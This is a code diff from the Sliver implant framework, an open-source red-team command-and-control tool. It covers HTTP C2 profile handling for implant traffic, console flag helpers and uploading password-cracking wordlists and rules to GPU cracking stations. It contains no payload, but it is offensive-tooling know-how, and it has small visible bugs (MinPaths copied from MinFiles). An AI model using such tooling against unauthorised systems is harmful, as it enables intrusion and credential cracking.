||||
IsFile: true,
|
||||
SegmentType: 1,
|
||||
Value: session,
|
||||
})
|
||||
}
|
||||
|
||||
for _, close := range config.ImplantConfig.CloseFiles {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: true,
|
||||
SegmentType: 2,
|
||||
Value: close,
|
||||
})
|
||||
}
|
||||
|
||||
for _, stager := range config.ImplantConfig.StagerFiles {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: true,
|
||||
SegmentType: 3,
|
||||
Value: stager,
|
||||
})
|
||||
}
|
||||
|
||||
// paths
|
||||
for _, poll := range config.ImplantConfig.PollPaths {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: false,
|
||||
SegmentType: 0,
|
||||
Value: poll,
|
||||
})
|
||||
}
|
||||
|
||||
for _, session := range config.ImplantConfig.SessionPaths {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: false,
|
||||
SegmentType: 1,
|
||||
Value: session,
|
||||
})
|
||||
}
|
||||
|
||||
for _, close := range config.ImplantConfig.ClosePaths {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: false,
|
||||
SegmentType: 2,
|
||||
Value: close,
|
||||
})
|
||||
}
|
||||
|
||||
for _, stager := range config.ImplantConfig.StagerPaths {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: false,
|
||||
SegmentType: 3,
|
||||
Value: stager,
|
||||
})
|
||||
}
|
||||
|
||||
implantConfig := &clientpb.HTTPC2ImplantConfig{
|
||||
UserAgent: config.ImplantConfig.UserAgent,
|
||||
ChromeBaseVersion: int32(config.ImplantConfig.ChromeBaseVersion),
|
||||
MacOSVersion: config.ImplantConfig.MacOSVersion,
|
||||
NonceQueryArgChars: config.ImplantConfig.NonceQueryArgChars,
|
||||
ExtraURLParameters: httpC2UrlParameters,
|
||||
Headers: httpC2Headers,
|
||||
MaxFiles: int32(config.ImplantConfig.MaxFiles),
|
||||
MinFiles: int32(config.ImplantConfig.MinFiles),
|
||||
MaxPaths: int32(config.ImplantConfig.MaxPaths),
|
||||
MinPaths: int32(config.ImplantConfig.MinFiles),
|
||||
StagerFileExtension: config.ImplantConfig.StagerFileExt,
|
||||
PollFileExtension: config.ImplantConfig.PollFileExt,
|
||||
StartSessionFileExtension: config.ImplantConfig.StartSessionFileExt,
|
||||
SessionFileExtension: config.ImplantConfig.SessionFileExt,
|
||||
CloseFileExtension: config.ImplantConfig.CloseFileExt,
|
||||
PathSegments: pathSegments,
|
||||
}
|
||||
|
||||
// Server Config
|
||||
serverHeaders := []*clientpb.HTTPC2Header{}
|
||||
for _, serverHeader := range config.ServerConfig.Headers {
|
||||
for _, method := range serverHeader.Methods {
|
||||
serverHeaders = append(serverHeaders, &clientpb.HTTPC2Header{
|
||||
Method: method,
|
||||
Name: serverHeader.Name,
|
||||
Value: serverHeader.Value,
|
||||
Probability: int32(serverHeader.Probability),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
serverCookies := []*clientpb.HTTPC2Cookie{}
|
||||
for _, cookie := range config.ServerConfig.Cookies {
|
||||
serverCookies = append(serverCookies, &clientpb.HTTPC2Cookie{
|
||||
Name: cookie,
|
||||
})
|
||||
}
|
||||
serverConfig := &clientpb.HTTPC2ServerConfig{
|
||||
RandomVersionHeaders: config.ServerConfig.RandomVersionHeaders,
|
||||
Headers: serverHeaders,
|
||||
Cookies: serverCookies,
|
||||
}
|
||||
|
||||
return &clientpb.HTTPC2Config{
|
||||
Name: profileName,
|
||||
ImplantConfig: implantConfig,
|
||||
ServerConfig: serverConfig,
|
||||
}
|
||||
}
|
||||
|
||||
// PrintImplantBuilds - Print the implant builds on the server
|
||||
func PrintC2Profiles(profile *clientpb.HTTPC2Config, con *console.SliverConsoleClient) {
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"Parameter",
|
||||
"Value",
|
||||
})
|
||||
|
||||
// Profile metadata
|
||||
|
||||
tw.AppendRow(table.Row{
|
||||
"Profile Name",
|
||||
profile.Name,
|
||||
})
|
||||
|
||||
// Server side configuration
|
||||
|
||||
var serverHeaders []string
|
||||
for _, header := range profile.ServerConfig.Headers {
|
||||
serverHeaders = append(serverHeaders, header.Value)
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
"Server Headers",
|
||||
strings.Join(serverHeaders[:], ","),
|
||||
})
|
||||
|
||||
var serverCookies []string
|
||||
for _, cookie := range profile.ServerConfig.Cookies {
|
||||
serverCookies = append(serverCookies, cookie.Name)
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
"Server Cookies",
|
||||
strings.Join(serverCookies[:], ","),
|
||||
})
|
||||
|
||||
tw.AppendRow(table.Row{
|
||||
"Randomize Server Headers",
|
||||
profile.ServerConfig.RandomVersionHeaders,
|
||||
})
|
||||
|
||||
// Client side configuration
|
||||
|
||||
var clientHeaders []string
|
||||
for _, header := range profile.ImplantConfig.Headers {
|
||||
clientHeaders = append(clientHeaders, header.Value)
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
"Client Headers",
|
||||
strings.Join(clientHeaders[:], ","),
|
||||
})
|
||||
|
||||
var clientUrlParams []string
|
||||
for _, clientUrlParam := range profile.ImplantConfig.ExtraURLParameters {
|
||||
clientUrlParams = append(clientUrlParams, clientUrlParam.Name)
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
"Extra URL Parameters",
|
||||
strings.Join(clientUrlParams[:], ","),
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"User agent",
|
||||
profile.ImplantConfig.UserAgent,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Chrome base version",
|
||||
profile.ImplantConfig.ChromeBaseVersion,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"MacOS version",
|
||||
profile.ImplantConfig.MacOSVersion,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Nonce query arg chars",
|
||||
profile.ImplantConfig.NonceQueryArgChars,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Max files",
|
||||
profile.ImplantConfig.MaxFiles,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Min files",
|
||||
profile.ImplantConfig.MinFiles,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Max paths",
|
||||
profile.ImplantConfig.MaxPaths,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Min paths",
|
||||
profile.ImplantConfig.MinPaths,
|
||||
})
|
||||
|
||||
tw.AppendRow(table.Row{
|
||||
"Stager file extension",
|
||||
profile.ImplantConfig.StagerFileExtension,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Start session file extension",
|
||||
profile.ImplantConfig.StartSessionFileExtension,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Session file extension",
|
||||
profile.ImplantConfig.SessionFileExtension,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Poll file extension",
|
||||
profile.ImplantConfig.PollFileExtension,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Close file extension",
|
||||
profile.ImplantConfig.CloseFileExtension,
|
||||
})
|
||||
|
||||
var (
|
||||
pollPaths []string
|
||||
pollFiles []string
|
||||
sessionPaths []string
|
||||
sessionFiles []string
|
||||
closePaths []string
|
||||
closeFiles []string
|
||||
)
|
||||
for _, segment := range profile.ImplantConfig.PathSegments {
|
||||
if segment.IsFile {
|
||||
switch segment.SegmentType {
|
||||
case 0:
|
||||
pollFiles = append(pollFiles, segment.Value)
|
||||
case 1:
|
||||
sessionFiles = append(sessionFiles, segment.Value)
|
||||
case 2:
|
||||
closeFiles = append(closeFiles, segment.Value)
|
||||
}
|
||||
} else {
|
||||
switch segment.SegmentType {
|
||||
case 0:
|
||||
pollPaths = append(pollPaths, segment.Value)
|
||||
case 1:
|
||||
sessionPaths = append(sessionPaths, segment.Value)
|
||||
case 2:
|
||||
closePaths = append(closePaths, segment.Value)
|
||||
}
|
||||
}
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
"Poll paths",
|
||||
strings.Join(pollPaths[:], ","),
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Poll files",
|
||||
strings.Join(pollFiles[:], ","),
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Session paths",
|
||||
strings.Join(sessionPaths[:], ","),
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Session files",
|
||||
strings.Join(sessionFiles[:], ","),
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Close paths",
|
||||
strings.Join(closePaths[:], ","),
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Close files",
|
||||
strings.Join(closeFiles[:], ","),
|
||||
})
|
||||
|
||||
con.Println(tw.Render())
|
||||
con.Println("\n")
|
||||
}
|
||||
|
||||
func selectC2Profile(c2profiles []*clientpb.HTTPC2Config) string {
|
||||
c2profile := ""
|
||||
var choices []string
|
||||
for _, c2profile := range c2profiles {
|
||||
choices = append(choices, c2profile.Name)
|
||||
}
|
||||
|
||||
prompt := &survey.Select{
|
||||
Message: "Select a c2 profile",
|
||||
Options: choices,
|
||||
}
|
||||
survey.AskOne(prompt, &c2profile, nil)
|
||||
|
||||
return c2profile
|
||||
}
|
||||
@@ -0,0 +1,78 @@
|
||||
package command
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2023 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"strings"
|
||||
|
||||
"github.com/reeflective/console"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
"github.com/spf13/pflag"
|
||||
)
|
||||
|
||||
const defaultTimeout = 60
|
||||
|
||||
// Flags is a convenience function to bind flags to a given command.
|
||||
// name - The name of the flag set (can be empty).
|
||||
// cmd - The command to which the flags should be bound.
|
||||
// flags - A function exposing the flag set through which flags are declared.
|
||||
func Flags(name string, persistent bool, cmd *cobra.Command, flags func(f *pflag.FlagSet)) {
|
||||
flagSet := pflag.NewFlagSet(name, pflag.ContinueOnError) // Create the flag set.
|
||||
flags(flagSet) // Let the user bind any number of flags to it.
|
||||
|
||||
if persistent {
|
||||
cmd.PersistentFlags().AddFlagSet(flagSet)
|
||||
} else {
|
||||
cmd.Flags().AddFlagSet(flagSet)
|
||||
}
|
||||
}
|
||||
|
||||
// FlagComps is a convenience function for adding completions to a command's flags.
|
||||
// cmd - The command owning the flags to complete.
|
||||
// bind - A function exposing a map["flag-name"]carapace.Action.
|
||||
func FlagComps(cmd *cobra.Command, bind func(comp *carapace.ActionMap)) {
|
||||
comps := make(carapace.ActionMap)
|
||||
bind(&comps)
|
||||
|
||||
carapace.Gen(cmd).FlagCompletion(comps)
|
||||
}
|
||||
|
||||
// hideCommand generates a cobra annotation map with a single
|
||||
// console.CommandHiddenFilter key, which value is a comma-separated list
|
||||
// of filters to use in order to expose/hide commands based on requirements.
|
||||
// Ex: cmd.Annotations = hideCommand("windows") will hide the cmd
|
||||
// if the target session/beacon is not a Windows host.
|
||||
func hideCommand(filters ...string) map[string]string {
|
||||
if len(filters) == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
if len(filters) == 1 {
|
||||
return map[string]string{
|
||||
console.CommandFilterKey: filters[0],
|
||||
}
|
||||
}
|
||||
|
||||
filts := strings.Join(filters, ",")
|
||||
|
||||
return map[string]string{
|
||||
console.CommandFilterKey: filts,
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
@@ -19,45 +19,39 @@ package completers
|
||||
*/
|
||||
|
||||
import (
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"net"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/rsteube/carapace"
|
||||
)
|
||||
|
||||
// LocalPathCompleter - Completes a local file system path
|
||||
func LocalPathCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
|
||||
var parent string
|
||||
var partial string
|
||||
fi, err := os.Stat(prefix)
|
||||
if os.IsNotExist(err) {
|
||||
parent = filepath.Dir(prefix)
|
||||
partial = filepath.Base(prefix)
|
||||
} else {
|
||||
if fi.IsDir() {
|
||||
parent = prefix
|
||||
partial = ""
|
||||
} else {
|
||||
parent = filepath.Dir(prefix)
|
||||
partial = filepath.Base(prefix)
|
||||
// ClientInterfacesCompleter completes interface addresses on the client host.
|
||||
func ClientInterfacesCompleter() carapace.Action {
|
||||
return carapace.ActionCallback(func(_ carapace.Context) carapace.Action {
|
||||
ifaces, err := net.Interfaces()
|
||||
if err != nil {
|
||||
return carapace.ActionMessage("failed to get net interfaces: %s", err.Error())
|
||||
}
|
||||
}
|
||||
|
||||
results := []string{}
|
||||
ls, err := ioutil.ReadDir(parent)
|
||||
if err != nil {
|
||||
return results
|
||||
}
|
||||
for _, fi = range ls {
|
||||
if 0 < len(partial) {
|
||||
if strings.HasPrefix(fi.Name(), partial) {
|
||||
results = append(results, filepath.Join(parent, fi.Name()))
|
||||
results := make([]string, 0)
|
||||
|
||||
for _, i := range ifaces {
|
||||
addrs, err := i.Addrs()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
for _, a := range addrs {
|
||||
switch v := a.(type) {
|
||||
case *net.IPAddr:
|
||||
results = append(results, v.IP.String())
|
||||
case *net.IPNet:
|
||||
results = append(results, v.IP.String())
|
||||
default:
|
||||
results = append(results, v.String())
|
||||
}
|
||||
}
|
||||
} else {
|
||||
results = append(results, filepath.Join(parent, fi.Name()))
|
||||
}
|
||||
}
|
||||
return results
|
||||
|
||||
return carapace.ActionValues(results...).Tag("client interfaces").NoSpace(':')
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,505 @@
|
||||
package crack
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"io"
|
||||
"os"
|
||||
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/klauspost/compress/zstd"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
)
|
||||
|
||||
// CrackWordlistsCmd - Manage GPU cracking stations
|
||||
func CrackWordlistsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
wordlists, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_WORDLIST})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if len(wordlists.Files) == 0 {
|
||||
con.PrintInfof("No wordlists, add some using `crack wordlists add`\n")
|
||||
} else {
|
||||
PrintCrackFiles(wordlists, con)
|
||||
con.Println()
|
||||
con.Printf("Disk quota %02.2f%% - %s of %s\n",
|
||||
(float64(wordlists.CurrentDiskUsage)/float64(wordlists.MaxDiskUsage))*100,
|
||||
util.ByteCountBinary(wordlists.CurrentDiskUsage),
|
||||
util.ByteCountBinary(wordlists.MaxDiskUsage),
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
// CrackRulesCmd - Manage GPU cracking stations
|
||||
func CrackRulesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
rules, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_RULES})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if len(rules.Files) == 0 {
|
||||
con.PrintInfof("No rules files, add some using `crack rules add`\n")
|
||||
} else {
|
||||
PrintCrackFiles(rules, con)
|
||||
con.Println()
|
||||
con.Printf("Disk quota %02.2f%% - %s of %s\n",
|
||||
(float64(rules.CurrentDiskUsage)/float64(rules.MaxDiskUsage))*100,
|
||||
util.ByteCountBinary(rules.CurrentDiskUsage),
|
||||
util.ByteCountBinary(rules.MaxDiskUsage),
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
// CrackHcstat2Cmd - Manage GPU cracking stations
|
||||
func CrackHcstat2Cmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if len(hcstat2.Files) == 0 {
|
||||
con.PrintInfof("No hcstat2 files, add some using `crack hcstat2 add`\n")
|
||||
} else {
|
||||
PrintCrackFiles(hcstat2, con)
|
||||
con.Println()
|
||||
con.Printf("Disk quota %02.2f%% - %s of %s\n",
|
||||
(float64(hcstat2.CurrentDiskUsage)/float64(hcstat2.MaxDiskUsage))*100,
|
||||
util.ByteCountBinary(hcstat2.CurrentDiskUsage),
|
||||
util.ByteCountBinary(hcstat2.MaxDiskUsage),
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
func PrintCrackFiles(crackFiles *clientpb.CrackFiles, con *console.SliverConsoleClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{"Name", "Size"})
|
||||
for _, file := range crackFiles.Files {
|
||||
tw.AppendRow(table.Row{file.Name, util.ByteCountBinary(file.UncompressedSize)})
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
func PrintCrackFilesByType(crackFiles *clientpb.CrackFiles, con *console.SliverConsoleClient) {
|
||||
wordlistTable := table.NewWriter()
|
||||
wordlistTable.SetTitle(console.Bold + "Wordlists" + console.Normal)
|
||||
wordlistTable.SetStyle(settings.GetTableStyle(con))
|
||||
wordlistTable.AppendHeader(table.Row{"Name", "Size"})
|
||||
|
||||
rulesTable := table.NewWriter()
|
||||
rulesTable.SetTitle(console.Bold + "Rules" + console.Normal)
|
||||
rulesTable.SetStyle(settings.GetTableStyle(con))
|
||||
rulesTable.AppendHeader(table.Row{"Name", "Size"})
|
||||
|
||||
hcTable := table.NewWriter()
|
||||
hcTable.SetTitle(console.Bold + "Markov Hcstat2" + console.Normal)
|
||||
hcTable.SetStyle(settings.GetTableStyle(con))
|
||||
hcTable.AppendHeader(table.Row{"Name", "Size"})
|
||||
|
||||
wordlists := 0
|
||||
rules := 0
|
||||
hc := 0
|
||||
for _, file := range crackFiles.Files {
|
||||
switch file.Type {
|
||||
case clientpb.CrackFileType_WORDLIST:
|
||||
wordlistTable.AppendRow(table.Row{file.Name, util.ByteCountBinary(file.UncompressedSize)})
|
||||
wordlists++
|
||||
case clientpb.CrackFileType_RULES:
|
||||
rulesTable.AppendRow(table.Row{file.Name, util.ByteCountBinary(file.UncompressedSize)})
|
||||
rules++
|
||||
case clientpb.CrackFileType_MARKOV_HCSTAT2:
|
||||
hcTable.AppendRow(table.Row{file.Name, util.ByteCountBinary(file.UncompressedSize)})
|
||||
hc++
|
||||
}
|
||||
}
|
||||
|
||||
if wordlists > 0 {
|
||||
con.Printf("%s\n", wordlistTable.Render())
|
||||
}
|
||||
if rules > 0 {
|
||||
if wordlists > 0 {
|
||||
con.Println()
|
||||
}
|
||||
con.Printf("%s\n", rulesTable.Render())
|
||||
}
|
||||
if hc > 0 {
|
||||
if wordlists > 0 || rules > 0 {
|
||||
con.Println()
|
||||
}
|
||||
con.Printf("%s\n", hcTable.Render())
|
||||
}
|
||||
con.Println()
|
||||
con.Printf("%d wordlists, %d rules, %d hcstat2 files\n", wordlists, rules, hc)
|
||||
con.Printf("Disk quota %02.2f%% - %s of %s\n",
|
||||
(float64(crackFiles.CurrentDiskUsage)/float64(crackFiles.MaxDiskUsage))*100,
|
||||
util.ByteCountBinary(crackFiles.CurrentDiskUsage),
|
||||
util.ByteCountBinary(crackFiles.MaxDiskUsage),
|
||||
)
|
||||
}
|
||||
|
||||
// CrackWordlistsAddCmd - Manage GPU cracking stations
|
||||
func CrackWordlistsAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
name, _ := cmd.Flags().GetString("name")
|
||||
|
||||
var localPath string
|
||||
if len(args) > 0 {
|
||||
localPath = args[0]
|
||||
}
|
||||
if localPath == "" {
|
||||
con.PrintErrorf("No path specified, see --help\n")
|
||||
return
|
||||
}
|
||||
wordlistStat, err := os.Stat(localPath)
|
||||
if os.IsNotExist(err) || wordlistStat.IsDir() {
|
||||
con.PrintErrorf("File does not exist: %s\n", localPath)
|
||||
return
|
||||
}
|
||||
if name == "" {
|
||||
name = wordlistStat.Name()
|
||||
}
|
||||
wordlist, err := os.Open(localPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to open file: %s\n", err)
|
||||
return
|
||||
}
|
||||
defer wordlist.Close()
|
||||
|
||||
crackFile, err := con.Rpc.CrackFileCreate(context.Background(), &clientpb.CrackFile{
|
||||
Type: clientpb.CrackFileType_WORDLIST,
|
||||
Name: name,
|
||||
UncompressedSize: wordlistStat.Size(),
|
||||
IsCompressed: true,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to create file: %s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Adding new wordlist '%s' (uncompressed: %s)\n",
|
||||
crackFile.Name,
|
||||
util.ByteCountBinary(crackFile.UncompressedSize),
|
||||
)
|
||||
addCrackFile(wordlist, crackFile, con)
|
||||
}
|
||||
|
||||
// CrackRulesAddCmd - add a rules file
|
||||
func CrackRulesAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
name, _ := cmd.Flags().GetString("name")
|
||||
|
||||
var localPath string
|
||||
if len(args) > 0 {
|
||||
localPath = args[0]
|
||||
}
|
||||
if localPath == "" {
|
||||
con.PrintErrorf("No path specified, see --help\n")
|
||||
return
|
||||
}
|
||||
rulesStat, err := os.Stat(localPath)
|
||||
if os.IsNotExist(err) || rulesStat.IsDir() {
|
||||
con.PrintErrorf("File does not exist: %s\n", localPath)
|
||||
return
|
||||
}
|
||||
if name == "" {
|
||||
name = rulesStat.Name()
|
||||
}
|
||||
rules, err := os.Open(localPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to open file: %s\n", err)
|
||||
return
|
||||
}
|
||||
defer rules.Close()
|
||||
|
||||
crackFile, err := con.Rpc.CrackFileCreate(context.Background(), &clientpb.CrackFile{
|
||||
Type: clientpb.CrackFileType_RULES,
|
||||
Name: name,
|
||||
UncompressedSize: rulesStat.Size(),
|
||||
IsCompressed: true,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to create file: %s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Adding new rules file '%s' (uncompressed: %s)\n",
|
||||
crackFile.Name,
|
||||
util.ByteCountBinary(crackFile.UncompressedSize),
|
||||
)
|
||||
addCrackFile(rules, crackFile, con)
|
||||
}
|
||||
|
||||
// CrackHcstat2AddCmd - add a hcstat2 file
|
||||
func CrackHcstat2AddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
name, _ := cmd.Flags().GetString("name")
|
||||
|
||||
var localPath string
|
||||
if len(args) > 0 {
|
||||
localPath = args[0]
|
||||
}
|
||||
if localPath == "" {
|
||||
con.PrintErrorf("No path specified, see --help\n")
|
||||
return
|
||||
}
|
||||
hcstat2Stat, err := os.Stat(localPath)
|
||||
if os.IsNotExist(err) || hcstat2Stat.IsDir() {
|
||||
con.PrintErrorf("File does not exist: %s\n", localPath)
|
||||
return
|
||||
}
|
||||
if name == "" {
|
||||
name = hcstat2Stat.Name()
|
||||
}
|
||||
hcstat2, err := os.Open(localPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to open file: %s\n", err)
|
||||
return
|
||||
}
|
||||
defer hcstat2.Close()
|
||||
|
||||
crackFile, err := con.Rpc.CrackFileCreate(context.Background(), &clientpb.CrackFile{
|
||||
Type: clientpb.CrackFileType_MARKOV_HCSTAT2,
|
||||
Name: name,
|
||||
UncompressedSize: hcstat2Stat.Size(),
|
||||
IsCompressed: true,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to create file: %s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Adding new markov hcstat2 file '%s' (uncompressed: %s)\n",
|
||||
crackFile.Name,
|
||||
util.ByteCountBinary(crackFile.UncompressedSize),
|
||||
)
|
||||
addCrackFile(hcstat2, crackFile, con)
|
||||
}
|
||||
|
||||
func addCrackFile(localFile *os.File, crackFile *clientpb.CrackFile, con *console.SliverConsoleClient) {
|
||||
digest := sha256.New()
|
||||
wordlistReader := io.TeeReader(localFile, digest)
|
||||
|
||||
chunks := make(chan []byte, 1) // Chunks are in-memory!
|
||||
|
||||
var chunkReaderErr error
|
||||
go func() {
|
||||
chunkReaderErr = chunkReader(wordlistReader, crackFile.ChunkSize, chunks)
|
||||
}()
|
||||
n := uint32(0)
|
||||
total := int64(0)
|
||||
errors := []error{}
|
||||
for chunk := range chunks {
|
||||
total += int64(len(chunk))
|
||||
con.PrintInfof("Uploading %s (chunk %d - %s) ...",
|
||||
util.ByteCountBinary(total),
|
||||
n,
|
||||
util.ByteCountBinary(int64(len(chunk))),
|
||||
)
|
||||
_, err := con.Rpc.CrackFileChunkUpload(context.Background(), &clientpb.CrackFileChunk{
|
||||
CrackFileID: crackFile.ID,
|
||||
N: n,
|
||||
Data: chunk,
|
||||
})
|
||||
n++
|
||||
if err != nil {
|
||||
errors = append(errors, err)
|
||||
continue
|
||||
}
|
||||
}
|
||||
con.Printf(console.Clearln + "\r")
|
||||
if chunkReaderErr != nil {
|
||||
con.PrintErrorf("Failed to read file: %s\n", chunkReaderErr)
|
||||
return
|
||||
}
|
||||
if len(errors) > 0 {
|
||||
for _, err := range errors {
|
||||
con.PrintErrorf("Failed to upload chunk: %s\n", err)
|
||||
}
|
||||
return
|
||||
}
|
||||
_, err := con.Rpc.CrackFileComplete(context.Background(), &clientpb.CrackFile{
|
||||
ID: crackFile.ID,
|
||||
Sha2_256: hex.EncodeToString(digest.Sum(nil)),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to complete file upload: %s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Upload completed (compressed: %s)\n", util.ByteCountBinary(total))
|
||||
}
|
||||
|
||||
func chunkReader(wordlistReader io.Reader, chunkSize int64, chunks chan []byte) error {
|
||||
defer close(chunks)
|
||||
start := int64(0)
|
||||
tmpFile, err := os.CreateTemp("", "sliver-wordlist")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer tmpFile.Close()
|
||||
compressor, _ := zstd.NewWriter(tmpFile, zstd.WithEncoderLevel(zstd.SpeedBetterCompression))
|
||||
for {
|
||||
readBuf := make([]byte, 32*1024*1024) // 32MB
|
||||
readN, readErr := wordlistReader.Read(readBuf)
|
||||
if readErr != nil && readErr != io.EOF {
|
||||
return err
|
||||
}
|
||||
if readN != 0 {
|
||||
_, err := compressor.Write(readBuf[:readN])
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
compressor.Flush()
|
||||
tmpFileStat, err := os.Stat(tmpFile.Name())
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if tmpFileStat.Size()-start >= chunkSize {
|
||||
stop := start + chunkSize
|
||||
chunk, err := readChunkAt(tmpFile, start, chunkSize)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
chunks <- chunk
|
||||
start = stop
|
||||
}
|
||||
}
|
||||
if readErr == io.EOF {
|
||||
chunk, err := readChunkAt(tmpFile, start, chunkSize)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
chunks <- chunk
|
||||
return nil
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func readChunkAt(tmpFile *os.File, offset int64, chunkSize int64) ([]byte, error) {
|
||||
chunkBuf := make([]byte, chunkSize)
|
||||
n, err := tmpFile.ReadAt(chunkBuf, offset)
|
||||
if err != nil && err != io.EOF {
|
||||
return nil, err
|
||||
}
|
||||
return chunkBuf[:n], nil
|
||||
}
|
||||
|
||||
// CrackWordlistsRmCmd - Manage GPU cracking stations
|
||||
